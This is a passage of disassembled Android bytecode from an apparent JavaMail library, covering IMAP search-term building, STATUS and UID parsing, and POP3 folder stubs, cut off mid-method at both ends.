0000006A  invoke-virtual          Argument->writeArgument(Argument)V, v1, v3
:70
00000070  array-length            v3, v0
00000072  if-le                   v3, v2, :A0
:76
00000076  aget-object             v3, v0, v2
0000007A  instance-of             v3, v3, AndTerm
0000007E  if-nez                  v3, :8E
:82
00000082  aget-object             v3, v0, v2
00000086  instance-of             v3, v3, FlagTerm
0000008A  if-eqz                  v3, :CE
:8E
0000008E  aget-object             v0, v0, v2
00000092  invoke-static           SearchSequence->generateSequence(SearchTerm, String)Argument, v0, p1
00000098  move-result-object      v0
0000009A  invoke-virtual          Argument->writeArgument(Argument)V, v1, v0
:A0
000000A0  return-object           v1
:A2
000000A2  new-instance            v3, OrTerm
000000A6  aget-object             v5, v4, v1
000000AA  invoke-direct           OrTerm-><init>(SearchTerm, SearchTerm)V, v3, v0, v5
000000B0  add-int/lit8            v0, v1, 0x1
000000B4  move                    v1, v0
000000B6  move-object             v0, v3
000000B8  goto                    :1A
:BA
000000BA  aget-object             v3, v0, v6
000000BE  invoke-static           SearchSequence->generateSequence(SearchTerm, String)Argument, v3, p1
000000C4  move-result-object      v3
000000C6  invoke-virtual          Argument->append(Argument)V, v1, v3
000000CC  goto                    :70
:CE
000000CE  aget-object             v0, v0, v2
000000D2  invoke-static           SearchSequence->generateSequence(SearchTerm, String)Argument, v0, p1
000000D8  move-result-object      v0
000000DA  invoke-virtual          Argument->append(Argument)V, v1, v0
000000E0  goto                    :A0
:E2
000000E2  move-object             v0, v4
000000E4  goto                    :2C
.end method

.method private static receiveddate(DateTerm)Argument
          .registers 5
00000000  new-instance            v0, Argument
00000004  invoke-direct           Argument-><init>()V, v0
0000000A  invoke-virtual          DateTerm->getDate()Date, p0
00000010  move-result-object      v1
00000012  invoke-static           SearchSequence->toIMAPDate(Date)String, v1
00000018  move-result-object      v1
0000001A  invoke-virtual          DateTerm->getComparison()I, p0
00000020  move-result             v2
00000022  packed-switch           v2, :144
:28
00000028  new-instance            v0, SearchException
0000002C  const-string            v1, "Cannot handle Date Comparison"
00000030  invoke-direct           SearchException-><init>(String)V, v0, v1
00000036  throw                   v0
:38
00000038  new-instance            v2, StringBuilder
0000003C  const-string            v3, "SINCE "
00000040  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000046  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
0000004C  move-result-object      v1
0000004E  invoke-virtual          StringBuilder->toString()String, v1
00000054  move-result-object      v1
00000056  invoke-virtual          Argument->writeAtom(String)V, v0, v1
:5C
0000005C  return-object           v0
:5E
0000005E  new-instance            v2, StringBuilder
00000062  const-string            v3, "ON "
00000066  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000006C  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
00000072  move-result-object      v1
00000074  invoke-virtual          StringBuilder->toString()String, v1
0000007A  move-result-object      v1
0000007C  invoke-virtual          Argument->writeAtom(String)V, v0, v1
00000082  goto                    :5C
:84
00000084  new-instance            v2, StringBuilder
00000088  const-string            v3, "BEFORE "
0000008C  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000092  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
00000098  move-result-object      v1
0000009A  invoke-virtual          StringBuilder->toString()String, v1
000000A0  move-result-object      v1
000000A2  invoke-virtual          Argument->writeAtom(String)V, v0, v1
000000A8  goto                    :5C
:AA
000000AA  new-instance            v2, StringBuilder
000000AE  const-string            v3, "OR SINCE "
000000B2  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000000B8  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
000000BE  move-result-object      v2
000000C0  const-string            v3, " ON "
000000C4  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
000000CA  move-result-object      v2
000000CC  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
000000D2  move-result-object      v1
000000D4  invoke-virtual          StringBuilder->toString()String, v1
000000DA  move-result-object      v1
000000DC  invoke-virtual          Argument->writeAtom(String)V, v0, v1
000000E2  goto                    :5C
:E4
000000E4  new-instance            v2, StringBuilder
000000E8  const-string            v3, "OR BEFORE "
000000EC  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000000F2  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
000000F8  move-result-object      v2
000000FA  const-string            v3, " ON "
000000FE  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000104  move-result-object      v2
00000106  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
0000010C  move-result-object      v1
0000010E  invoke-virtual          StringBuilder->toString()String, v1
00000114  move-result-object      v1
00000116  invoke-virtual          Argument->writeAtom(String)V, v0, v1
0000011C  goto                    :5C
:11E
0000011E  new-instance            v2, StringBuilder
00000122  const-string            v3, "NOT ON "
00000126  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000012C  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
00000132  move-result-object      v1
00000134  invoke-virtual          StringBuilder->toString()String, v1
0000013A  move-result-object      v1
0000013C  invoke-virtual          Argument->writeAtom(String)V, v0, v1
00000142  goto                    :5C
00000144  .packed-switch 0x1
              :E4
              :84
              :5E
              :11E
              :38
              :AA
          .end packed-switch
.end method

.method private static recipient(Message$RecipientType, String, String)Argument
          .registers 5
00000000  new-instance            v0, Argument
00000004  invoke-direct           Argument-><init>()V, v0
0000000A  sget-object             v1, Message$RecipientType->TO:Message$RecipientType
0000000E  if-ne                   p0, v1, :24
:12
00000012  const-string            v1, "TO"
00000016  invoke-virtual          Argument->writeAtom(String)V, v0, v1
:1C
0000001C  invoke-virtual          Argument->writeString(String, String)V, v0, p1, p2
00000022  return-object           v0
:24
00000024  sget-object             v1, Message$RecipientType->CC:Message$RecipientType
00000028  if-ne                   p0, v1, :38
:2C
0000002C  const-string            v1, "CC"
00000030  invoke-virtual          Argument->writeAtom(String)V, v0, v1
00000036  goto                    :1C
:38
00000038  sget-object             v1, Message$RecipientType->BCC:Message$RecipientType
0000003C  if-ne                   p0, v1, :4C
:40
00000040  const-string            v1, "BCC"
00000044  invoke-virtual          Argument->writeAtom(String)V, v0, v1
0000004A  goto                    :1C
:4C
0000004C  new-instance            v0, SearchException
00000050  const-string            v1, "Illegal Recipient type"
00000054  invoke-direct           SearchException-><init>(String)V, v0, v1
0000005A  throw                   v0
.end method

.method private static sentdate(DateTerm)Argument
          .registers 5
00000000  new-instance            v0, Argument
00000004  invoke-direct           Argument-><init>()V, v0
0000000A  invoke-virtual          DateTerm->getDate()Date, p0
00000010  move-result-object      v1
00000012  invoke-static           SearchSequence->toIMAPDate(Date)String, v1
00000018  move-result-object      v1
0000001A  invoke-virtual          DateTerm->getComparison()I, p0
00000020  move-result             v2
00000022  packed-switch           v2, :144
:28
00000028  new-instance            v0, SearchException
0000002C  const-string            v1, "Cannot handle Date Comparison"
00000030  invoke-direct           SearchException-><init>(String)V, v0, v1
00000036  throw                   v0
:38
00000038  new-instance            v2, StringBuilder
0000003C  const-string            v3, "SENTSINCE "
00000040  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000046  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
0000004C  move-result-object      v1
0000004E  invoke-virtual          StringBuilder->toString()String, v1
00000054  move-result-object      v1
00000056  invoke-virtual          Argument->writeAtom(String)V, v0, v1
:5C
0000005C  return-object           v0
:5E
0000005E  new-instance            v2, StringBuilder
00000062  const-string            v3, "SENTON "
00000066  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000006C  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
00000072  move-result-object      v1
00000074  invoke-virtual          StringBuilder->toString()String, v1
0000007A  move-result-object      v1
0000007C  invoke-virtual          Argument->writeAtom(String)V, v0, v1
00000082  goto                    :5C
:84
00000084  new-instance            v2, StringBuilder
00000088  const-string            v3, "SENTBEFORE "
0000008C  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000092  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
00000098  move-result-object      v1
0000009A  invoke-virtual          StringBuilder->toString()String, v1
000000A0  move-result-object      v1
000000A2  invoke-virtual          Argument->writeAtom(String)V, v0, v1
000000A8  goto                    :5C
:AA
000000AA  new-instance            v2, StringBuilder
000000AE  const-string            v3, "OR SENTSINCE "
000000B2  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000000B8  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
000000BE  move-result-object      v2
000000C0  const-string            v3, " SENTON "
000000C4  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
000000CA  move-result-object      v2
000000CC  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
000000D2  move-result-object      v1
000000D4  invoke-virtual          StringBuilder->toString()String, v1
000000DA  move-result-object      v1
000000DC  invoke-virtual          Argument->writeAtom(String)V, v0, v1
000000E2  goto                    :5C
:E4
000000E4  new-instance            v2, StringBuilder
000000E8  const-string            v3, "OR SENTBEFORE "
000000EC  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000000F2  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
000000F8  move-result-object      v2
000000FA  const-string            v3, " SENTON "
000000FE  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000104  move-result-object      v2
00000106  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
0000010C  move-result-object      v1
0000010E  invoke-virtual          StringBuilder->toString()String, v1
00000114  move-result-object      v1
00000116  invoke-virtual          Argument->writeAtom(String)V, v0, v1
0000011C  goto                    :5C
:11E
0000011E  new-instance            v2, StringBuilder
00000122  const-string            v3, "NOT SENTON "
00000126  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000012C  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
00000132  move-result-object      v1
00000134  invoke-virtual          StringBuilder->toString()String, v1
0000013A  move-result-object      v1
0000013C  invoke-virtual          Argument->writeAtom(String)V, v0, v1
00000142  goto                    :5C
00000144  .packed-switch 0x1
              :E4
              :84
              :5E
              :11E
              :38
              :AA
          .end packed-switch
.end method

.method private static size(SizeTerm)Argument
          .registers 3
00000000  new-instance            v0, Argument
00000004  invoke-direct           Argument-><init>()V, v0
0000000A  invoke-virtual          SizeTerm->getComparison()I, p0
00000010  move-result             v1
00000012  packed-switch           v1, :50
:18
00000018  new-instance            v0, SearchException
0000001C  const-string            v1, "Cannot handle Comparison"
00000020  invoke-direct           SearchException-><init>(String)V, v0, v1
00000026  throw                   v0
:28
00000028  const-string            v1, "LARGER"
0000002C  invoke-virtual          Argument->writeAtom(String)V, v0, v1
:32
00000032  invoke-virtual          SizeTerm->getNumber()I, p0
00000038  move-result             v1
0000003A  invoke-virtual          Argument->writeNumber(I)V, v0, v1
00000040  return-object           v0
:42
00000042  const-string            v1, "SMALLER"
00000046  invoke-virtual          Argument->writeAtom(String)V, v0, v1
0000004C  goto                    :32
00000050  .packed-switch 0x2
              :42
              :18
              :18
              :28
          .end packed-switch
.end method

.method private static subject(SubjectTerm, String)Argument
          .registers 4
00000000  new-instance            v0, Argument
00000004  invoke-direct           Argument-><init>()V, v0
0000000A  const-string            v1, "SUBJECT"
0000000E  invoke-virtual          Argument->writeAtom(String)V, v0, v1
00000014  invoke-virtual          SubjectTerm->getPattern()String, p0
0000001A  move-result-object      v1
0000001C  invoke-virtual          Argument->writeString(String, String)V, v0, v1, p1
00000022  return-object           v0
.end method

.method private static toIMAPDate(Date)String
          .registers 5
00000000  new-instance            v0, StringBuffer
00000004  invoke-direct           StringBuffer-><init>()V, v0
0000000A  sget-object             v1, SearchSequence->cal:Calendar
0000000E  invoke-virtual          Calendar->setTime(Date)V, v1, p0
00000014  sget-object             v1, SearchSequence->cal:Calendar
00000018  const/4                 v2, 0x5
0000001A  invoke-virtual          Calendar->get(I)I, v1, v2
00000020  move-result             v1
00000022  invoke-virtual          StringBuffer->append(I)StringBuffer, v0, v1
00000028  move-result-object      v1
0000002A  const-string            v2, "-"
0000002E  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v2
00000034  sget-object             v1, SearchSequence->monthTable:[String
00000038  sget-object             v2, SearchSequence->cal:Calendar
0000003C  const/4                 v3, 0x2
0000003E  invoke-virtual          Calendar->get(I)I, v2, v3
00000044  move-result             v2
00000046  aget-object             v1, v1, v2
0000004A  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
00000050  move-result-object      v1
00000052  const/16                v2, 0x2D
00000056  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v2
0000005C  sget-object             v1, SearchSequence->cal:Calendar
00000060  const/4                 v2, 0x1
00000062  invoke-virtual          Calendar->get(I)I, v1, v2
00000068  move-result             v1
0000006A  invoke-virtual          StringBuffer->append(I)StringBuffer, v0, v1
00000070  invoke-virtual          StringBuffer->toString()String, v0
00000076  move-result-object      v0
00000078  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public Status
.super Object
.source ""

.field static final standardItems:[String
.field public mbox:String
.field public recent:I
.field public total:I
.field public uidnext:J
.field public uidvalidity:J
.field public unseen:I

.method static constructor <clinit>()V
          .registers 3
00000000  const/4                 v0, 0x5
00000002  new-array               v0, v0, [String
00000006  const/4                 v1, 0x0
00000008  const-string            v2, "MESSAGES"
0000000C  aput-object             v2, v0, v1
00000010  const/4                 v1, 0x1
00000012  const-string            v2, "RECENT"
00000016  aput-object             v2, v0, v1
0000001A  const/4                 v1, 0x2
0000001C  const-string            v2, "UNSEEN"
00000020  aput-object             v2, v0, v1
00000024  const/4                 v1, 0x3
00000026  const-string            v2, "UIDNEXT"
0000002A  aput-object             v2, v0, v1
0000002E  const/4                 v1, 0x4
00000030  const-string            v2, "UIDVALIDITY"
00000034  aput-object             v2, v0, v1
00000038  sput-object             v0, Status->standardItems:[String
0000003C  return-void
.end method

.method public constructor <init>(Response)V
          .registers 6
00000000  const-wide/16           v2, 0xFFFFFFFFFFFFFFFF
00000004  const/4                 v1, 0xFFFFFFFFFFFFFFFF
00000006  invoke-direct           Object-><init>()V, p0
0000000C  const/4                 v0, 0x0
0000000E  iput-object             v0, p0, Status->mbox:String
00000012  iput                    v1, p0, Status->total:I
00000016  iput                    v1, p0, Status->recent:I
0000001A  iput-wide               v2, p0, Status->uidnext:J
0000001E  iput-wide               v2, p0, Status->uidvalidity:J
00000022  iput                    v1, p0, Status->unseen:I
00000026  invoke-virtual          Response->readAtomString()String, p1
0000002C  move-result-object      v0
0000002E  iput-object             v0, p0, Status->mbox:String
00000032  invoke-virtual          Response->skipSpaces()V, p1
00000038  invoke-virtual          Response->readByte()B, p1
0000003E  move-result             v0
00000040  const/16                v1, 0x28
00000044  if-eq                   v0, v1, :58
:48
00000048  new-instance            v0, ParsingException
0000004C  const-string            v1, "parse error in STATUS"
00000050  invoke-direct           ParsingException-><init>(String)V, v0, v1
00000056  throw                   v0
:58
00000058  invoke-virtual          Response->readAtom()String, p1
0000005E  move-result-object      v0
00000060  const-string            v1, "MESSAGES"
00000064  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
0000006A  move-result             v1
0000006C  if-eqz                  v1, :8E
:70
00000070  invoke-virtual          Response->readNumber()I, p1
00000076  move-result             v0
00000078  iput                    v0, p0, Status->total:I
:7C
0000007C  invoke-virtual          Response->readByte()B, p1
00000082  move-result             v0
00000084  const/16                v1, 0x29
00000088  if-ne                   v0, v1, :58
:8C
0000008C  return-void
:8E
0000008E  const-string            v1, "RECENT"
00000092  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000098  move-result             v1
0000009A  if-eqz                  v1, :AC
:9E
0000009E  invoke-virtual          Response->readNumber()I, p1
000000A4  move-result             v0
000000A6  iput                    v0, p0, Status->recent:I
000000AA  goto                    :7C
:AC
000000AC  const-string            v1, "UIDNEXT"
000000B0  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
000000B6  move-result             v1
000000B8  if-eqz                  v1, :CA
:BC
000000BC  invoke-virtual          Response->readLong()J, p1
000000C2  move-result-wide        v0
000000C4  iput-wide               v0, p0, Status->uidnext:J
000000C8  goto                    :7C
:CA
000000CA  const-string            v1, "UIDVALIDITY"
000000CE  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
000000D4  move-result             v1
000000D6  if-eqz                  v1, :E8
:DA
000000DA  invoke-virtual          Response->readLong()J, p1
000000E0  move-result-wide        v0
000000E2  iput-wide               v0, p0, Status->uidvalidity:J
000000E6  goto                    :7C
:E8
000000E8  const-string            v1, "UNSEEN"
000000EC  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
000000F2  move-result             v0
000000F4  if-eqz                  v0, :7C
:F8
000000F8  invoke-virtual          Response->readNumber()I, p1
000000FE  move-result             v0
00000100  iput                    v0, p0, Status->unseen:I
00000104  goto                    :7C
.end method

.method public static add(Status, Status)V
          .registers 7
00000000  const-wide/16           v3, 0xFFFFFFFFFFFFFFFF
00000004  const/4                 v2, 0xFFFFFFFFFFFFFFFF
00000006  iget                    v0, p1, Status->total:I
0000000A  if-eq                   v0, v2, :16
:E
0000000E  iget                    v0, p1, Status->total:I
00000012  iput                    v0, p0, Status->total:I
:16
00000016  iget                    v0, p1, Status->recent:I
0000001A  if-eq                   v0, v2, :26
:1E
0000001E  iget                    v0, p1, Status->recent:I
00000022  iput                    v0, p0, Status->recent:I
:26
00000026  iget-wide               v0, p1, Status->uidnext:J
0000002A  cmp-long                v0, v0, v3
0000002E  if-eqz                  v0, :3A
:32
00000032  iget-wide               v0, p1, Status->uidnext:J
00000036  iput-wide               v0, p0, Status->uidnext:J
:3A
0000003A  iget-wide               v0, p1, Status->uidvalidity:J
0000003E  cmp-long                v0, v0, v3
00000042  if-eqz                  v0, :4E
:46
00000046  iget-wide               v0, p1, Status->uidvalidity:J
0000004A  iput-wide               v0, p0, Status->uidvalidity:J
:4E
0000004E  iget                    v0, p1, Status->unseen:I
00000052  if-eq                   v0, v2, :5E
:56
00000056  iget                    v0, p1, Status->unseen:I
0000005A  iput                    v0, p0, Status->unseen:I
:5E
0000005E  return-void
.end method

#--------------------------------------------------------------------------------
.class public UID
.super Object
.source ""

.implements Item

.field static final name:[C
.field public seqnum:I
.field public uid:J

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x3
00000002  new-array               v0, v0, [C
00000006  fill-array-data         v0, :14
0000000C  sput-object             v0, UID->name:[C
00000010  return-void
00000014  .array-data 2 x 0x3
              0x55
              0x49
              0x44
          .end array-data
.end method

.method public constructor <init>(FetchResponse)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  invoke-virtual          FetchResponse->getNumber()I, p1
0000000C  move-result             v0
0000000E  iput                    v0, p0, UID->seqnum:I
00000012  invoke-virtual          FetchResponse->skipSpaces()V, p1
00000018  invoke-virtual          FetchResponse->readLong()J, p1
0000001E  move-result-wide        v0
00000020  iput-wide               v0, p0, UID->uid:J
00000024  return-void
.end method

#--------------------------------------------------------------------------------
.class public UIDSet
.super Object
.source ""

.field public end:J
.field public start:J

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(J, J)V
          .registers 5
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-wide               p1, p0, UIDSet->start:J
0000000A  iput-wide               p3, p0, UIDSet->end:J
0000000E  return-void
.end method

.method public static createUIDSets([J)[UIDSet
          .registers 10
00000000  new-instance            v1, Vector
00000004  invoke-direct           Vector-><init>()V, v1
0000000A  const/4                 v0, 0x0
:C
0000000C  array-length            v2, p0
0000000E  if-lt                   v0, v2, :26
:12
00000012  invoke-virtual          Vector->size()I, v1
00000018  move-result             v0
0000001A  new-array               v0, v0, [UIDSet
0000001E  invoke-virtual          Vector->copyInto([Object)V, v1, v0
00000024  return-object           v0
:26
00000026  new-instance            v2, UIDSet
0000002A  invoke-direct           UIDSet-><init>()V, v2
00000030  aget-wide               v3, p0, v0
00000034  iput-wide               v3, v2, UIDSet->start:J
00000038  add-int/lit8            v0, v0, 0x1
:3C
0000003C  array-length            v3, p0
0000003E  if-lt                   v0, v3, :5E
:42
00000042  add-int/lit8            v3, v0, 0xFFFFFFFFFFFFFFFF
00000046  aget-wide               v3, p0, v3
0000004A  iput-wide               v3, v2, UIDSet->end:J
0000004E  invoke-virtual          Vector->addElement(Object)V, v1, v2
00000054  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000058  add-int/lit8            v0, v0, 0x1
0000005C  goto                    :C
:5E
0000005E  aget-wide               v3, p0, v0
00000062  add-int/lit8            v5, v0, 0xFFFFFFFFFFFFFFFF
00000066  aget-wide               v5, p0, v5
0000006A  const-wide/16           v7, 0x1
0000006E  add-long/2addr          v5, v7
00000070  cmp-long                v3, v3, v5
00000074  if-nez                  v3, :42
:78
00000078  add-int/lit8            v0, v0, 0x1
0000007C  goto                    :3C
.end method

.method public static size([UIDSet)J
          .registers 6
00000000  const-wide/16           v1, 0x0
00000004  if-nez                  p0, :A
:8
00000008  return-wide             v1
:A
0000000A  const/4                 v0, 0x0
:C
0000000C  array-length            v3, p0
0000000E  if-ge                   v0, v3, :8
:12
00000012  aget-object             v3, p0, v0
00000016  invoke-virtual          UIDSet->size()J, v3
0000001C  move-result-wide        v3
0000001E  add-long/2addr          v1, v3
00000020  add-int/lit8            v0, v0, 0x1
00000024  goto                    :C
.end method

.method public static toString([UIDSet)String
          .registers 9
00000000  if-eqz                  p0, :A
:4
00000004  array-length            v0, p0
00000006  if-nez                  v0, :E
:A
0000000A  const/4                 v0, 0x0
:C
0000000C  return-object           v0
:E
0000000E  const/4                 v0, 0x0
00000010  new-instance            v1, StringBuffer
00000014  invoke-direct           StringBuffer-><init>()V, v1
0000001A  array-length            v2, p0
:1C
0000001C  aget-object             v3, p0, v0
00000020  iget-wide               v3, v3, UIDSet->start:J
00000024  aget-object             v5, p0, v0
00000028  iget-wide               v5, v5, UIDSet->end:J
0000002C  cmp-long                v7, v5, v3
00000030  if-lez                  v7, :60
:34
00000034  invoke-virtual          StringBuffer->append(J)StringBuffer, v1, v3, v4
0000003A  move-result-object      v3
0000003C  const/16                v4, 0x3A
00000040  invoke-virtual          StringBuffer->append(C)StringBuffer, v3, v4
00000046  move-result-object      v3
00000048  invoke-virtual          StringBuffer->append(J)StringBuffer, v3, v5, v6
:4E
0000004E  add-int/lit8            v0, v0, 0x1
00000052  if-lt                   v0, v2, :68
:56
00000056  invoke-virtual          StringBuffer->toString()String, v1
0000005C  move-result-object      v0
0000005E  goto                    :C
:60
00000060  invoke-virtual          StringBuffer->append(J)StringBuffer, v1, v3, v4
00000066  goto                    :4E
:68
00000068  const/16                v3, 0x2C
0000006C  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v3
00000072  goto                    :1C
.end method

.method public size()J
          .registers 5
00000000  iget-wide               v0, p0, UIDSet->end:J
00000004  iget-wide               v2, p0, UIDSet->start:J
00000008  sub-long/2addr          v0, v2
0000000A  const-wide/16           v2, 0x1
0000000E  add-long/2addr          v0, v2
00000010  return-wide             v0
.end method

#--------------------------------------------------------------------------------
.class public DefaultFolder
.super Folder
.source ""

.method constructor <init>(POP3Store)V
          .registers 2
00000000  invoke-direct           Folder-><init>(Store)V, p0, p1
00000006  return-void
.end method

.method public appendMessages([Message)V
          .registers 4
00000000  new-instance            v0, MethodNotSupportedException
00000004  const-string            v1, "Append not supported"
00000008  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public close(Z)V
          .registers 4
00000000  new-instance            v0, MethodNotSupportedException
00000004  const-string            v1, "close"
00000008  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public create(I)Z
          .registers 3
00000000  const/4                 v0, 0x0
00000002  return                  v0
.end method

.method public delete(Z)Z
          .registers 4
00000000  new-instance            v0, MethodNotSupportedException
00000004  const-string            v1, "delete"
00000008  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public exists()Z
          .registers 2
00000000  const/4                 v0, 0x1
00000002  return                  v0
.end method

.method public expunge()[Message
          .registers 3
00000000  new-instance            v0, MethodNotSupportedException
00000004  const-string            v1, "expunge"
00000008  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public getFolder(String)Folder
          .registers 4
00000000  const-string            v0, "INBOX"
00000004  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
0000000A  move-result             v0
0000000C  if-nez                  v0, :20
:10
00000010  new-instance            v0, MessagingException
00000014  const-string            v1, "only INBOX supported"
00000018  invoke-direct           MessagingException-><init>(String)V, v0, v1
0000001E  throw                   v0
:20
00000020  invoke-virtual          DefaultFolder->getInbox()Folder, p0
00000026  move-result-object      v0
00000028  return-object           v0
.end method

.method public getFullName()String
          .registers 2
00000000  const-string            v0, ""
00000004  return-object           v0
.end method

.method protected getInbox()Folder
          .registers 3
00000000  invoke-virtual          DefaultFolder->getStore()Store, p0
00000006  move-result-object      v0
00000008  const-string            v1, "INBOX"
0000000C  invoke-virtual          Store->getFolder(String)Folder, v0, v1
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public getMessage(I)Message
          .registers 4
00000000  new-instance            v0, MethodNotSupportedException
00000004  const-string            v1, "getMessage"
00000008  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public getMessageCount()I
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return                  v0
.end method

.method public getName()String
          .registers 2
00000000  const-string            v0, ""
00000004  return-object           v0
.end method

.method public getParent()Folder
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return-object           v0
.end method

.method public getPermanentFlags()Flags
          .registers 2
00000000  new-instance            v0, Flags
00000004  invoke-direct           Flags-><init>()V, v0
0000000A  return-object           v0
.end method

.method public getSeparator()C
          .registers 2
00000000  const/16                v0, 0x2F
00000004  return                  v0
.end method

.method public getType()I
          .registers 2
00000000  const/4                 v0, 0x2
00000002  return                  v0
.end method

.method public hasNewMessages()Z
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return                  v0
.end method

.method public isOpen()Z
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return                  v0
.end method

.method public list(String)[Folder
          .registers 5
00000000  const/4                 v0, 0x1
00000002  new-array               v0, v0, [Folder
00000006  const/4                 v1, 0x0
00000008  invoke-virtual          DefaultFolder->getInbox()Folder, p0
0000000E  move-result-object      v2
00000010  aput-object             v2, v0, v1
00000014  return-object           v0
.end method

.method public open(I)V
          .registers 4
00000000  new-instance            v0, MethodNotSupportedException
00000004  const-string            v1, "open"
00000008  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public renameTo(Folder)Z
          .registers 4
00000000  new-instance            v0, MethodNotSupportedException
00000004  const-string            v1, "renameTo"
00000008  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

#--------------------------------------------------------------------------------
.class public POP3Folder
.super Folder
.source ""

.field private doneUidl:Z
.field private exists:Z
.field private message_cache:Vector
.field private name:String
.field private opened:Z
.field private port:Protocol
.field private size:I
.field private total:I

.method constructor <init>(POP3Store, String)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Folder-><init>(Store)V, p0, p1
00000008  iput-boolean            v0, p0, POP3Folder->exists:Z
0000000C  iput-boolean            v0, p0, POP3Folder->opened:Z
00000010  iput-boolean            v0, p0, POP3Folder->doneUidl:Z
00000014  iput-object             p2, p0, POP3Folder->name:String
00000018  const-string            v0, "INBOX"
0000001C  invoke-virtual          String->equalsIgnoreCase(String)Z, p2, v0
00000022  move-result             v0
00000024  if-eqz                  v0, :2E
:28
00000028  const/4                 v0, 0x1
0000002A  iput-boolean            v0, p0, POP3Folder->exists:Z
:2E
0000002E  return-void
.end method

.method public appendMessages([Message)V
          .registers 4
00000000  new-instance            v0, MethodNotSupportedException
00000004  const-string            v1, "Append not supported"
00000008  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method checkClosed()V
          .registers 3
00000000  iget-boolean            v0, p0, POP3Folder->opened:Z
00000004  if-eqz                  v0, :18
:8
00000008  new-instance            v0, IllegalStateException
0000000C  const-string            v1, "Folder is Open"
00000010  invoke-direct           IllegalStateException-><init>(String)V, v0, v1
00000016  throw                   v0
:18
00000018  return-void
.end method

.method checkOpen()V
          .registers 3
00000000  iget-boolean            v0, p0, POP3Folder->opened:Z
00000004  if-nez                  v0, :18
:8
00000008  new-instance            v0, IllegalStateException
0000000C  const-string            v1, "Folder is not Open"
00000010  invoke-direct           IllegalStateException-><init>(String)V, v0, v1
00000016  throw                   v0
:18
00000018  return-void
.end method

.method checkReadable()V
          .registers 3
00000000  iget-boolean            v0, p0, POP3Folder->opened:Z
00000004  if-eqz                  v0, :1C
:8
00000008  iget                    v0, p0, POP3Folder->mode:I
0000000C  const/4                 v1, 0x1
0000000E  if-eq                   v0, v1, :2C
:12
00000012  iget                    v0, p0, POP3Folder->mode:I
00000016  const/4                 v1, 0x2
00000018  if-eq                   v0, v1, :2C
:1C
0000001C  new-instance            v0, IllegalStateException
00000020  const-string            v1, "Folder is not Readable"
00000024  invoke-direct           IllegalStateException-><init>(String)V, v0, v1
0000002A  throw                   v0
:2C
0000002C  return-void
.end method

.method checkWritable()V
          .registers 3
00000000  iget-boolean            v0, p0, POP3Folder->opened:Z
00000004  if-eqz                  v0, :12
:8
00000008  iget                    v0, p0, POP3Folder->mode:I
0000000C  const/4                 v1, 0x2
0000000E  if-eq                   v0, v1, :22
:12
00000012  new-instance            v0, IllegalStateException
00000016  const-string            v1, "Folder is not Writable"
